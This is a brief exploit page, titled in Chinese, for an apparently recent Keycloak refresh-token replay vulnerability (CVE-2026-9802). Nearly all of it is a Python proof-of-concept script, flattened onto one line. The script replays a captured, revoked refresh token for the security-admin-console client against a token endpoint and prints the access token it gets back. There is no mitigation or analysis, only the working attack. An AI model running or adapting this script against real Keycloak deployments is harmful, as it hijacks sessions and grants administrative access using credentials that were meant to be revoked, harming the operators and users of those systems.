CVE-2026-9802 Keycloak刷新令牌重放漏洞

import requests # Proof of Concept for CVE-2026-9802: Refresh Token Replay after Restart # Target: Keycloak instance with revokeRefreshToken=true and persistent sessions TARGET = "https://target-keycloak.com/realms/master/protocol/openid-connect/token" CLIENT_ID = "security-admin-console" # The captured refresh token that was revoked before the server restart CAPTURED_TOKEN = "eyJhbGciOiJSUzI1NiIsInR5cCIgOiAiSldUIiwia2lkIiA6ICJ..." def exploit(): headers = {"Content-Type": "application/x-www-form-urlencoded"} data = { "client_id": CLIENT_ID, "grant_type": "refresh_token", "refresh_token": CAPTURED_TOKEN } print("[+] Attempting to replay revoked token...") response = requests.post(TARGET, data=data, headers=headers) if response.status_code == 200: print("[+] Success! Server accepted the revoked token.") print("[+] Access Token:", response.json().get("access_token")[:50] + "...") else: print("[-] Failed. Server rejected the token.") print(response.text) if __name__ == "__main__": exploit()